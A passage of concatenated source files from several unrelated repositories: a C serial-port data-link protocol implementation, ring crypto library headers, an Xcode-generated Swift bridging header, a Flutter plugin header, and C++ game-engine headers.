(resendFrame) { sendFrame(ll.frame, fd, ll.frameLength); resendFrame = false; } if (read_value >= 0) { // Cancels alarm alarm(0); finish = 1; } } if (read_value == -1) { printf("Closing file descriptor\n"); return -1; } printf("Received UA frame\n"); return fd; } /** * Function that opens and establishes the connection between the receiver and the transmitter * @param port Port name * @param role Flag that indicates the transmitter or the receiver * @return File descriptor; -1 in case of error */ int llopen(char *port, int role) { strcpy(ll.port, port); ll.baudRate = BAUDRATE; ll.numTransmissions = NUM_RETR; ll.timeout = TIMEOUT; ll.sequenceNumber = 0; int fd; // open, in non canonical if ((fd = openNonCanonical(port, &oldtio, VTIME_VALUE, VMIN_VALUE)) == -1) return -1; // installs alarm handler alarmHandlerInstaller(); int returnFd; if (role == TRANSMITTER) { returnFd = llOpenTransmitter(fd); if (returnFd < 0) { closeNonCanonical(fd, &oldtio); return -1; } else return returnFd; } else if (role == RECEIVER) { returnFd = llOpenReceiver(fd); if (returnFd < 0) { closeNonCanonical(fd, &oldtio); return -1; } else return returnFd; } perror("Invalid role"); closeNonCanonical(fd, &oldtio); return -1; } /** * Function that writes the information contained in the buffer to the serial port * @param fd File descriptor of the serial port * @param buffer Information to be written * @param length Length of the buffer * @return Number of characters written; -1 in case of error */ int llwrite(int fd, unsigned char *buffer, int length) { unsigned char responseBuffer[BUF_SIZE_SUP]; // buffer to receive the response unsigned char controlByte; if (ll.sequenceNumber == 0) controlByte = S_0; else controlByte = S_1; if (createInformationFrame(ll.frame, controlByte, buffer, length) != 0) { closeNonCanonical(fd, &oldtio); return -1; } int fullLength; // frame length after stuffing if ((fullLength = byteStuffing(ll.frame, length)) < 0) { closeNonCanonical(fd, &oldtio); return -1; } ll.frameLength = fullLength; int numWritten; bool dataSent = false; while (!dataSent) { if ((numWritten = sendFrame(ll.frame, fd, ll.frameLength)) == -1) { closeNonCanonical(fd, &oldtio); return -1; } printf("Sent I frame\n"); int read_value = -1; finish = 0; num_retr = 0; resendFrame = false; alarm(ll.timeout); unsigned char wantedBytes[2]; if (controlByte == S_0) { wantedBytes[0] = RR_1; wantedBytes[1] = REJ_0; } else if (controlByte == S_1) { wantedBytes[0] = RR_0; wantedBytes[1] = REJ_1; } while (finish != 1) { read_value = readSupervisionFrame(responseBuffer, fd, wantedBytes, 2, END_SEND); if (resendFrame) { sendFrame(ll.frame, fd, ll.frameLength); resendFrame = false; } if (read_value >= 0) { // read_value é o índice do wantedByte que foi encontrado // Cancels alarm alarm(0); finish = 1; } } if (read_value == -1) { printf("Closing file descriptor\n"); closeNonCanonical(fd, &oldtio); return -1; } if (read_value == 0) // read a RR dataSent = true; else // read a REJ dataSent = false; printf("Received response frame (%x)\n", responseBuffer[2]); } if (ll.sequenceNumber == 0) ll.sequenceNumber = 1; else if (ll.sequenceNumber == 1) ll.sequenceNumber = 0; else return -1; return (numWritten - 6); // length of the data packet length sent to the receiver } /** * Function that reads the information written in the serial port * @param fd File descriptor of the serial port * @param buffer Array of characters where the read information will be stored * @return Number of characters read; -1 in case of error */ int llread(int fd, unsigned char *buffer) { int numBytes; unsigned char wantedBytes[2]; wantedBytes[0] = S_0; wantedBytes[1] = S_1; int read_value; bool isBufferFull = false; while (!isBufferFull) { read_value = readInformationFrame(ll.frame, fd, wantedBytes, 2, END_SEND); printf("Received I frame\n"); if ((numBytes = byteDestuffing(ll.frame, read_value)) < 0) { closeNonCanonical(fd, &oldtio); return -1; } int controlByteRead; if (ll.frame[2] == S_0) controlByteRead = 0; else if (ll.frame[2] == S_1) controlByteRead = 1; unsigned char responseByte; if (ll.frame[numBytes - 2] == createBCC_2(&ll.frame[DATA_START], numBytes - 6)) { // if bcc2 is correct if (controlByteRead != ll.sequenceNumber) { // duplicated trama; discard information // ignora dados da trama if (controlByteRead == 0) { responseByte = RR_1; ll.sequenceNumber = 1; } else { responseByte = RR_0; ll.sequenceNumber = 0; } } else { // new trama // passes information to the buffer for (int i = 0; i < numBytes - 6; i++) { buffer[i] = ll.frame[DATA_START + i]; } isBufferFull = true; if (controlByteRead == 0) { responseByte = RR_1; ll.sequenceNumber = 1; } else { responseByte = RR_0; ll.sequenceNumber = 0; } } } else { // if bcc2 is not correct if (controlByteRead != ll.sequenceNumber) { // duplicated trama // ignores frame data if (controlByteRead == 0) { responseByte = RR_1; ll.sequenceNumber = 1; } else { responseByte = RR_0; ll.sequenceNumber = 0; } } else { // new trama // ignores frame data, because of error if (controlByteRead == 0) { responseByte = REJ_0; ll.sequenceNumber = 0; } else { responseByte = REJ_1; ll.sequenceNumber = 1; } } } if (createSupervisionFrame(ll.frame, responseByte, RECEIVER) != 0) { closeNonCanonical(fd, &oldtio); return -1; } ll.frameLength = BUF_SIZE_SUP; // send RR/REJ frame to receiver if (sendFrame(ll.frame, fd, ll.frameLength) == -1) { closeNonCanonical(fd, &oldtio); return -1; } printf("Sent response frame (%x)\n", ll.frame[2]); } return (numBytes - 6); // number of bytes of the data packet read } /** * Closes the connection for the transmitter * @param fd File descriptor for the serial port * @return Positive value when sucess; negative value when error */ int llCloseTransmitter(int fd) { unsigned char responseBuffer[BUF_SIZE_SUP]; // buffer to receive the response ll.frameLength = BUF_SIZE_SUP; // creates DISC frame if (createSupervisionFrame(ll.frame, DISC, TRANSMITTER) != 0) return -1; // send DISC frame to receiver if (sendFrame(ll.frame, fd, ll.frameLength) == -1) return -1; printf("Sent DISC frame\n"); int read_value = -1; finish = 0; num_retr = 0; resendFrame = false; alarm(ll.timeout); unsigned char wantedByte[1]; wantedByte[0] = DISC; while (finish != 1) { read_value = readSupervisionFrame(responseBuffer, fd, wantedByte, 1, END_REC); if (resendFrame) { sendFrame(ll.frame, fd, ll.frameLength); resendFrame = false; } if (read_value >= 0) { // Cancels alarm alarm(0); finish = 1; } } if (read_value == -1) { printf("Closing file descriptor\n"); return -1; } printf("Received DISC frame\n"); // creates UA frame if (createSupervisionFrame(ll.frame, UA, TRANSMITTER) != 0) return -1; // send DISC frame to receiver if (sendFrame(ll.frame, fd, ll.frameLength) == -1) return -1; printf("Sent UA frame\n"); return 0; } /** * Closes the connection for the receiver * @param fd File descriptor for the serial port * @return Positive value when sucess; negative value when error */ int llCloseReceiver(int fd) { unsigned char responseBuffer[BUF_SIZE_SUP]; // buffer to receive the response ll.frameLength = BUF_SIZE_SUP; unsigned char wantedByte[1]; wantedByte[0] = DISC; if (readSupervisionFrame(ll.frame, fd, wantedByte, 1, END_SEND) == -1) return -1; printf("Received DISC frame\n"); // creates DISC frame if (createSupervisionFrame(ll.frame, DISC, RECEIVER) != 0) return -1; // send DISC frame to receiver if (sendFrame(ll.frame, fd, ll.frameLength) == -1) return -1; printf("Sent DISC frame\n"); int read_value = -1; finish = 0; num_retr = 0; resendFrame = false; alarm(ll.timeout); wantedByte[0] = UA; while (finish != 1) { read_value = readSupervisionFrame(responseBuffer, fd, wantedByte, 1, END_REC); if (resendFrame) { sendFrame(ll.frame, fd, ll.frameLength); resendFrame = false; } if (read_value >= 0) { // Cancels alarm alarm(0); finish = 1; } } if (read_value == -1) { printf("Closing file descriptor\n"); return -1; } printf("Received UA frame\n"); return 0; } /** * Function that closes the connection between the receiver and the transmitter * @param fd File descriptor of the port * @param role Flag that indicates the transmitter or the receiver * @return Positive value when sucess; negative value when error */ int llclose(int fd, int role) { if (role == TRANSMITTER) { if (llCloseTransmitter(fd) < 0) { closeNonCanonical(fd, &oldtio); return -1; } } else if (role == RECEIVER) { if (llCloseReceiver(fd) < 0) { closeNonCanonical(fd, &oldtio); return -1; } } else { perror("Invalid role"); return -1; } // close, in non canonical if (closeNonCanonical(fd, &oldtio) == -1) return -1; if (close(fd) != 0) return -1; return 1; }
LockDownPT/MIEIC_rcom
Trabalho_1/src/noncanonical.c
<gh_stars>0 /*Non-Canonical Input Processing*/ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <termios.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include "macros.h" #include "aux.h" #include "data_link.h" #include "app.h" int main(int argc, char** argv) { if ( (argc < 2) || ((strcmp("/dev/ttyS0", argv[1])!=0) && (strcmp("/dev/ttyS1", argv[1])!=0) && (strcmp("/dev/ttyS2", argv[1])!=0) && (strcmp("/dev/ttyS3", argv[1])!=0) && (strcmp("/dev/ttyS4", argv[1])!=0) )) { printf("Usage:\tnserial SerialPort\n\tex: nserial /dev/ttyS1\n"); exit(1); } if(receiveFile(argv[1])<0){ return -1; } return 0; }
Soptq/phala-blockchain
ring/crypto/curve25519/internal.h
<gh_stars>100-1000 /* Copyright (c) 2020, Google Inc. * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #ifndef OPENSSL_HEADER_CURVE25519_INTERNAL_H #define OPENSSL_HEADER_CURVE25519_INTERNAL_H #include <GFp/base.h> #include "../internal.h" #if defined(OPENSSL_ARM) && !defined(OPENSSL_NO_ASM) && !defined(OPENSSL_APPLE) #define BORINGSSL_X25519_NEON // x25519_NEON is defined in asm/x25519-arm.S. void GFp_x25519_NEON(uint8_t out[32], const uint8_t scalar[32], const uint8_t point[32]); #endif #if defined(BORINGSSL_HAS_UINT128) #define BORINGSSL_CURVE25519_64BIT #endif #if defined(BORINGSSL_CURVE25519_64BIT) // An element t, // entries t[0]...t[4], represents the integer t[0]+2^51 t[1]+2^102 t[2]+2^153 // t[3]+2^204 t[4]. // fe limbs are bounded by 1.125*2^51. // fe_loose limbs are bounded by 3.375*2^51. typedef uint64_t fe_limb_t; #define FE_NUM_LIMBS 5 #else // An element t, // entries t[0]...t[9], represents the integer t[0]+2^26 t[1]+2^51 t[2]+2^77 // t[3]+2^102 t[4]+...+2^230 t[9]. // fe limbs are bounded by 1.125*2^26,1.125*2^25,1.125*2^26,1.125*2^25,etc. // fe_loose limbs are bounded by 3.375*2^26,3.375*2^25,3.375*2^26,3.375*2^25,etc. typedef uint32_t fe_limb_t; #define FE_NUM_LIMBS 10 #endif // fe means field element. Here the field is \Z/(2^255-19). // Multiplication and carrying produce fe from fe_loose. // Keep in sync with `Elem` and `ELEM_LIMBS` in curve25519/ops.rs. typedef struct fe { fe_limb_t v[FE_NUM_LIMBS]; } fe; // Addition and subtraction produce fe_loose from (fe, fe). // Keep in sync with `Elem` and `ELEM_LIMBS` in curve25519/ops.rs. typedef struct fe_loose { fe_limb_t v[FE_NUM_LIMBS]; } fe_loose; static inline void fe_limbs_copy(fe_limb_t r[], const fe_limb_t a[]) { for (size_t i = 0; i < FE_NUM_LIMBS; ++i) { r[i] = a[i]; } } // ge means group element. // // Here the group is the set of pairs (x,y) of field elements (see fe.h) // satisfying -x^2 + y^2 = 1 + d x^2y^2 // where d = -121665/121666. // // Representations: // ge_p2 (projective): (X:Y:Z) satisfying x=X/Z, y=Y/Z // ge_p3 (extended): (X:Y:Z:T) satisfying x=X/Z, y=Y/Z, XY=ZT // ge_p1p1 (completed): ((X:Z),(Y:T)) satisfying x=X/Z, y=Y/T // ge_precomp (Duif): (y+x,y-x,2dxy) // Keep in sync with `Point` in curve25519/ops.rs. typedef struct { fe X; fe Y; fe Z; } ge_p2; // Keep in sync with `ExtPoint` in curve25519/ops.rs. typedef struct { fe X; fe Y; fe Z; fe T; } ge_p3; typedef struct { fe_loose X; fe_loose Y; fe_loose Z; fe_loose T; } ge_p1p1; typedef struct { fe_loose yplusx; fe_loose yminusx; fe_loose xy2d; } ge_precomp; typedef struct { fe_loose YplusX; fe_loose YminusX; fe_loose Z; fe_loose T2d; } ge_cached; #endif // OPENSSL_HEADER_CURVE25519_INTERNAL_H
Soptq/phala-blockchain
ring/crypto/limbs/limbs.h
/* Copyright 2016 <NAME>. * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHORS DISCLAIM ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #ifndef RING_LIMBS_H #define RING_LIMBS_H #include <GFp/base.h> #include "../internal.h" typedef crypto_word Limb; #define LIMB_BITS CRYPTO_WORD_BITS #define LIMB_HIGH_BIT ((Limb)(1) << (LIMB_BITS - 1)) Limb LIMBS_are_zero(const Limb a[], size_t num_limbs); Limb LIMBS_are_even(const Limb a[], size_t num_limbs); Limb LIMBS_equal(const Limb a[], const Limb b[], size_t num_limbs); Limb LIMBS_equal_limb(const Limb a[], Limb b, size_t num_limbs); void LIMBS_reduce_once(Limb r[], const Limb m[], size_t num_limbs); void LIMBS_add_mod(Limb r[], const Limb a[], const Limb b[], const Limb m[], size_t num_limbs); void LIMBS_sub_mod(Limb r[], const Limb a[], const Limb b[], const Limb m[], size_t num_limbs); void LIMBS_shl_mod(Limb r[], const Limb a[], const Limb m[], size_t num_limbs); Limb GFp_limbs_mul_add_limb(Limb r[], const Limb a[], Limb b, size_t num_limbs); #endif /* RING_LIMBS_H */
imdinesh58/Slide-Out-Menu-with-PULL-Animations-Drag-close-menu-options-...
Build/Intermediates/InteractiveSlideoutMenu.build/Debug-iphonesimulator/InteractiveSlideoutMenu.build/Objects-normal/x86_64/InteractiveSlideoutMenu-Swift.h
<reponame>imdinesh58/Slide-Out-Menu-with-PULL-Animations-Drag-close-menu-options-...<filename>Build/Intermediates/InteractiveSlideoutMenu.build/Debug-iphonesimulator/InteractiveSlideoutMenu.build/Objects-normal/x86_64/InteractiveSlideoutMenu-Swift.h // Generated by Apple Swift version 4.0.3 effective-3.2.3 (swiftlang-900.0.74.1 clang-900.0.39.2) #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wgcc-compat" #if !defined(__has_include) # define __has_include(x) 0 #endif #if !defined(__has_attribute) # define __has_attribute(x) 0 #endif #if !defined(__has_feature) # define __has_feature(x) 0 #endif #if !defined(__has_warning) # define __has_warning(x) 0 #endif #if __has_attribute(external_source_symbol) # define SWIFT_STRINGIFY(str) #str # define SWIFT_MODULE_NAMESPACE_PUSH(module_name) _Pragma(SWIFT_STRINGIFY(clang attribute push(__attribute__((external_source_symbol(language="Swift", defined_in=module_name, generated_declaration))), apply_to=any(function, enum, objc_interface, objc_category, objc_protocol)))) # define SWIFT_MODULE_NAMESPACE_POP _Pragma("clang attribute pop") #else # define SWIFT_MODULE_NAMESPACE_PUSH(module_name) # define SWIFT_MODULE_NAMESPACE_POP #endif #if __has_include(<swift/objc-prologue.h>) # include <swift/objc-prologue.h> #endif #pragma clang diagnostic ignored "-Wauto-import" #include <objc/NSObject.h> #include <stdint.h> #include <stddef.h> #include <stdbool.h> #if !defined(SWIFT_TYPEDEFS) # define SWIFT_TYPEDEFS 1 # if __has_include(<uchar.h>) # include <uchar.h> # elif !defined(__cplusplus) || __cplusplus < 201103L typedef uint_least16_t char16_t; typedef uint_least32_t char32_t; # endif typedef float swift_float2 __attribute__((__ext_vector_type__(2))); typedef float swift_float3 __attribute__((__ext_vector_type__(3))); typedef float swift_float4 __attribute__((__ext_vector_type__(4))); typedef double swift_double2 __attribute__((__ext_vector_type__(2))); typedef double swift_double3 __attribute__((__ext_vector_type__(3))); typedef double swift_double4 __attribute__((__ext_vector_type__(4))); typedef int swift_int2 __attribute__((__ext_vector_type__(2))); typedef int swift_int3 __attribute__((__ext_vector_type__(3))); typedef int swift_int4 __attribute__((__ext_vector_type__(4))); typedef unsigned int swift_uint2 __attribute__((__ext_vector_type__(2))); typedef unsigned int swift_uint3 __attribute__((__ext_vector_type__(3))); typedef unsigned int swift_uint4 __attribute__((__ext_vector_type__(4))); #endif #if !defined(SWIFT_PASTE) # define SWIFT_PASTE_HELPER(x, y) x##y # define SWIFT_PASTE(x, y) SWIFT_PASTE_HELPER(x, y) #endif #if !defined(SWIFT_METATYPE) # define SWIFT_METATYPE(X) Class #endif #if !defined(SWIFT_CLASS_PROPERTY) # if __has_feature(objc_class_property) # define SWIFT_CLASS_PROPERTY(...) __VA_ARGS__ # else # define SWIFT_CLASS_PROPERTY(...) # endif #endif #if __has_attribute(objc_runtime_name) # define SWIFT_RUNTIME_NAME(X) __attribute__((objc_runtime_name(X))) #else # define SWIFT_RUNTIME_NAME(X) #endif #if __has_attribute(swift_name) # define SWIFT_COMPILE_NAME(X) __attribute__((swift_name(X))) #else # define SWIFT_COMPILE_NAME(X) #endif #if __has_attribute(objc_method_family) # define SWIFT_METHOD_FAMILY(X) __attribute__((objc_method_family(X))) #else # define SWIFT_METHOD_FAMILY(X) #endif #if __has_attribute(noescape) # define SWIFT_NOESCAPE __attribute__((noescape)) #else # define SWIFT_NOESCAPE #endif #if __has_attribute(warn_unused_result) # define SWIFT_WARN_UNUSED_RESULT __attribute__((warn_unused_result)) #else # define SWIFT_WARN_UNUSED_RESULT #endif #if __has_attribute(noreturn) # define SWIFT_NORETURN __attribute__((noreturn)) #else # define SWIFT_NORETURN #endif #if !defined(SWIFT_CLASS_EXTRA) # define SWIFT_CLASS_EXTRA #endif #if !defined(SWIFT_PROTOCOL_EXTRA) # define SWIFT_PROTOCOL_EXTRA #endif #if !defined(SWIFT_ENUM_EXTRA) # define SWIFT_ENUM_EXTRA #endif #if !defined(SWIFT_CLASS) # if __has_attribute(objc_subclassing_restricted) # define SWIFT_CLASS(SWIFT_NAME) SWIFT_RUNTIME_NAME(SWIFT_NAME) __attribute__((objc_subclassing_restricted)) SWIFT_CLASS_EXTRA # define SWIFT_CLASS_NAMED(SWIFT_NAME) __attribute__((objc_subclassing_restricted)) SWIFT_COMPILE_NAME(SWIFT_NAME) SWIFT_CLASS_EXTRA # else # define SWIFT_CLASS(SWIFT_NAME) SWIFT_RUNTIME_NAME(SWIFT_NAME) SWIFT_CLASS_EXTRA # define SWIFT_CLASS_NAMED(SWIFT_NAME) SWIFT_COMPILE_NAME(SWIFT_NAME) SWIFT_CLASS_EXTRA # endif #endif #if !defined(SWIFT_PROTOCOL) # define SWIFT_PROTOCOL(SWIFT_NAME) SWIFT_RUNTIME_NAME(SWIFT_NAME) SWIFT_PROTOCOL_EXTRA # define SWIFT_PROTOCOL_NAMED(SWIFT_NAME) SWIFT_COMPILE_NAME(SWIFT_NAME) SWIFT_PROTOCOL_EXTRA #endif #if !defined(SWIFT_EXTENSION) # define SWIFT_EXTENSION(M) SWIFT_PASTE(M##_Swift_, __LINE__) #endif #if !defined(OBJC_DESIGNATED_INITIALIZER) # if __has_attribute(objc_designated_initializer) # define OBJC_DESIGNATED_INITIALIZER __attribute__((objc_designated_initializer)) # else # define OBJC_DESIGNATED_INITIALIZER # endif #endif #if !defined(SWIFT_ENUM_ATTR) # if defined(__has_attribute) && __has_attribute(enum_extensibility) # define SWIFT_ENUM_ATTR __attribute__((enum_extensibility(open))) # else # define SWIFT_ENUM_ATTR # endif #endif #if !defined(SWIFT_ENUM) # define SWIFT_ENUM(_type, _name) enum _name : _type _name; enum SWIFT_ENUM_ATTR SWIFT_ENUM_EXTRA _name : _type # if __has_feature(generalized_swift_name) # define SWIFT_ENUM_NAMED(_type, _name, SWIFT_NAME) enum _name : _type _name SWIFT_COMPILE_NAME(SWIFT_NAME); enum SWIFT_COMPILE_NAME(SWIFT_NAME) SWIFT_ENUM_ATTR SWIFT_ENUM_EXTRA _name : _type # else # define SWIFT_ENUM_NAMED(_type, _name, SWIFT_NAME) SWIFT_ENUM(_type, _name) # endif #endif #if !defined(SWIFT_UNAVAILABLE) # define SWIFT_UNAVAILABLE __attribute__((unavailable)) #endif #if !defined(SWIFT_UNAVAILABLE_MSG) # define SWIFT_UNAVAILABLE_MSG(msg) __attribute__((unavailable(msg))) #endif #if !defined(SWIFT_AVAILABILITY) # define SWIFT_AVAILABILITY(plat, ...) __attribute__((availability(plat, __VA_ARGS__))) #endif #if !defined(SWIFT_DEPRECATED) # define SWIFT_DEPRECATED __attribute__((deprecated)) #endif #if !defined(SWIFT_DEPRECATED_MSG) # define SWIFT_DEPRECATED_MSG(...) __attribute__((deprecated(__VA_ARGS__))) #endif #if __has_feature(attribute_diagnose_if_objc) # define SWIFT_DEPRECATED_OBJC(Msg) __attribute__((diagnose_if(1, Msg, "warning"))) #else # define SWIFT_DEPRECATED_OBJC(Msg) SWIFT_DEPRECATED_MSG(Msg) #endif #if __has_feature(modules) @import UIKit; @import ObjectiveC; @import Foundation; @import CoreGraphics; #endif #pragma clang diagnostic ignored "-Wproperty-attribute-mismatch" #pragma clang diagnostic ignored "-Wduplicate-method-arg" #if __has_warning("-Wpragma-clang-attribute") # pragma clang diagnostic ignored "-Wpragma-clang-attribute" #endif #pragma clang diagnostic ignored "-Wunknown-pragmas" #pragma clang diagnostic ignored "-Wnullability" SWIFT_MODULE_NAMESPACE_PUSH("InteractiveSlideoutMenu") @class UIWindow; @class UIApplication; SWIFT_CLASS("_TtC23InteractiveSlideoutMenu11AppDelegate") @interface AppDelegate : UIResponder <UIApplicationDelegate> @property (nonatomic, strong) UIWindow * _Nullable window; - (BOOL)application:(UIApplication * _Nonnull)application didFinishLaunchingWithOptions:(NSDictionary<UIApplicationLaunchOptionsKey, id> * _Nullable)launchOptions SWIFT_WARN_UNUSED_RESULT; - (void)applicationWillResignActive:(UIApplication * _Nonnull)application; - (void)applicationDidEnterBackground:(UIApplication * _Nonnull)application; - (void)applicationWillEnterForeground:(UIApplication * _Nonnull)application; - (void)applicationDidBecomeActive:(UIApplication * _Nonnull)application; - (void)applicationWillTerminate:(UIApplication * _Nonnull)application; - (nonnull instancetype)init OBJC_DESIGNATED_INITIALIZER; @end SWIFT_CLASS("_TtC23InteractiveSlideoutMenu19DismissMenuAnimator") @interface DismissMenuAnimator : NSObject - (nonnull instancetype)init OBJC_DESIGNATED_INITIALIZER; @end @protocol UIViewControllerContextTransitioning; @interface DismissMenuAnimator (SWIFT_EXTENSION(InteractiveSlideoutMenu)) <UIViewControllerAnimatedTransitioning> - (NSTimeInterval)transitionDuration:(id <UIViewControllerContextTransitioning> _Nullable)transitionContext SWIFT_WARN_UNUSED_RESULT; - (void)animateTransition:(id <UIViewControllerContextTransitioning> _Nonnull)transitionContext; @end SWIFT_CLASS("_TtC23InteractiveSlideoutMenu10Interactor") @interface Interactor : UIPercentDrivenInteractiveTransition @property (nonatomic) BOOL hasStarted; @property (nonatomic) BOOL shouldFinish; - (nonnull instancetype)init OBJC_DESIGNATED_INITIALIZER; @end @class UIScreenEdgePanGestureRecognizer; @class UIStoryboardSegue; @class NSBundle; @class NSCoder; SWIFT_CLASS("_TtC23InteractiveSlideoutMenu18MainViewController") @interface MainViewController : UIViewController @property (nonatomic, readonly, strong) Interactor * _Nonnull interactor; - (IBAction)openMenu:(id _Nonnull)sender; - (IBAction)edgePanGesture:(UIScreenEdgePanGestureRecognizer * _Nonnull)sender; - (void)prepareForSegue:(UIStoryboardSegue * _Nonnull)segue sender:(id _Nullable)sender; - (nonnull instancetype)initWithNibName:(NSString * _Nullable)nibNameOrNil bundle:(NSBundle * _Nullable)nibBundleOrNil OBJC_DESIGNATED_INITIALIZER; - (nullable instancetype)initWithCoder:(NSCoder * _Nonnull)aDecoder OBJC_DESIGNATED_INITIALIZER; @end @interface MainViewController (SWIFT_EXTENSION(InteractiveSlideoutMenu)) - (void)openSegue:(NSString * _Nonnull)segueName sender:(id _Nullable)sender; - (void)reopenMenu; @end @protocol UIViewControllerInteractiveTransitioning; @interface MainViewController (SWIFT_EXTENSION(InteractiveSlideoutMenu)) <UIViewControllerTransitioningDelegate> - (id <UIViewControllerAnimatedTransitioning> _Nullable)animationControllerForPresentedController:(UIViewController * _Nonnull)presented presentingController:(UIViewController * _Nonnull)presenting sourceController:(UIViewController * _Nonnull)source SWIFT_WARN_UNUSED_RESULT; - (id <UIViewControllerAnimatedTransitioning> _Nullable)animationControllerForDismissedController:(UIViewController * _Nonnull)dismissed SWIFT_WARN_UNUSED_RESULT; - (id <UIViewControllerInteractiveTransitioning> _Nullable)interactionControllerForDismissal:(id <UIViewControllerAnimatedTransitioning> _Nonnull)animator SWIFT_WARN_UNUSED_RESULT; - (id <UIViewControllerInteractiveTransitioning> _Nullable)interactionControllerForPresentation:(id <UIViewControllerAnimatedTransitioning> _Nonnull)animator SWIFT_WARN_UNUSED_RESULT; @end @class UITableView; @class UIPanGestureRecognizer; @protocol UIViewControllerTransitionCoordinator; SWIFT_CLASS("_TtC23InteractiveSlideoutMenu18MenuViewController") @interface MenuViewController : UIViewController @property (nonatomic, weak) IBOutlet UITableView * _Null_unspecified tableView; @property (nonatomic, strong) Interactor * _Nullable interactor; @property (nonatomic, readonly, copy) NSArray<NSString *> * _Nonnull menuItems; - (void)viewWillAppear:(BOOL)animated; - (IBAction)handleGesture:(UIPanGestureRecognizer * _Nonnull)sender; - (IBAction)closeMenu:(id _Nonnull)sender; - (void)delayWithSeconds:(double)seconds completion:(void (^ _Nonnull)(void))completion; - (void)viewWillTransitionToSize:(CGSize)size withTransitionCoordinator:(id <UIViewControllerTransitionCoordinator> _Nonnull)coordinator; - (nonnull instancetype)initWithNibName:(NSString * _Nullable)nibNameOrNil bundle:(NSBundle * _Nullable)nibBundleOrNil OBJC_DESIGNATED_INITIALIZER; - (nullable instancetype)initWithCoder:(NSCoder * _Nonnull)aDecoder OBJC_DESIGNATED_INITIALIZER; @end @interface MenuViewController (SWIFT_EXTENSION(InteractiveSlideoutMenu)) <UITableViewDelegate> - (void)tableView:(UITableView * _Nonnull)tableView didSelectRowAtIndexPath:(NSIndexPath * _Nonnull)indexPath; @end @class UITableViewCell; @interface MenuViewController (SWIFT_EXTENSION(InteractiveSlideoutMenu)) <UITableViewDataSource> - (NSInteger)tableView:(UITableView * _Nonnull)tableView numberOfRowsInSection:(NSInteger)section SWIFT_WARN_UNUSED_RESULT; - (UITableViewCell * _Nonnull)tableView:(UITableView * _Nonnull)tableView cellForRowAtIndexPath:(NSIndexPath * _Nonnull)indexPath SWIFT_WARN_UNUSED_RESULT; @end SWIFT_CLASS("_TtC23InteractiveSlideoutMenu19PresentMenuAnimator") @interface PresentMenuAnimator : NSObject - (nonnull instancetype)init OBJC_DESIGNATED_INITIALIZER; @end @interface PresentMenuAnimator (SWIFT_EXTENSION(InteractiveSlideoutMenu)) <UIViewControllerAnimatedTransitioning> - (NSTimeInterval)transitionDuration:(id <UIViewControllerContextTransitioning> _Nullable)transitionContext SWIFT_WARN_UNUSED_RESULT; - (void)animateTransition:(id <UIViewControllerContextTransitioning> _Nonnull)transitionContext; @end SWIFT_MODULE_NAMESPACE_POP #pragma clang diagnostic pop
laonayt/flutter_localip_plugin
ios/Classes/LocalIpPlugin.h
#import <Flutter/Flutter.h> @interface LocalIpPlugin : NSObject<FlutterPlugin> @end
ilariom/wildcat
src/core/managers/ECSContext.h
#ifndef _WKT_MANAGERS_COLLECTOR_H #define _WKT_MANAGERS_COLLECTOR_H #include "EntityManager.h" #include "SystemsManager.h" #include "ecs/Entity.h" namespace wkt { namespace managers { class ECSContext { public: EntityManager& entityManager() { return this->em; } SystemsManager& systemsManager() { return this->sm; } inline void runComponentSystems(); private: EntityManager em; SystemsManager sm; }; inline void ECSContext::runComponentSystems() { this->sm.run(this->em.begin(), this->em.end()); } }} #endif
ilariom/wildcat
src/core/input/ActionBroadcaster.h
#ifndef WKT_ACTION_BROADCASTER_H #define WKT_ACTION_BROADCASTER_H #include "components/ActionReceiver.h" #include <vector> namespace wkt { namespace events { class ActionBroadcaster { using Action = wkt::components::Action; public: void postAction(Action action) { this->actions.push_back(std::move(action)); } std::vector<Action>&& takeActions() { return std::move(this->actions); } void close() { this->actions.clear(); } private: std::vector<Action> actions; }; }} #endif
ilariom/wildcat
src/core/components/KeyboardEventReceiver.h
<filename>src/core/components/KeyboardEventReceiver.h<gh_stars>10-100 #ifndef _WKT_KEYBOARD_EVENT_RECEIVER_H #define _WKT_KEYBOARD_EVENT_RECEIVER_H #include "ecs/Component.h" #include "input/KeyboardProxy.h" namespace wkt { namespace components { class KeyboardEventReceiver : public wkt::ecs::Component { public: using callback_type = std::function<void(const wkt::events::KeyboardEventType& ket)>; public: callback_type onKeyDown = nullptr; callback_type onKeyPressed = nullptr; callback_type onKeyUp = nullptr; }; REGISTER_COMPONENT(KeyboardEventReceiver, -8); }} #endif
ilariom/wildcat
src/core/utils/search_path.h
<filename>src/core/utils/search_path.h #ifndef WKT_SEARCH_PATH_H #define WKT_SEARCH_PATH_H #include <string> namespace wkt { namespace path { void add(const std::string& path); std::string locate(const std::string& filename); }} #endif
ilariom/wildcat
src/core/graphics/Atlas.h
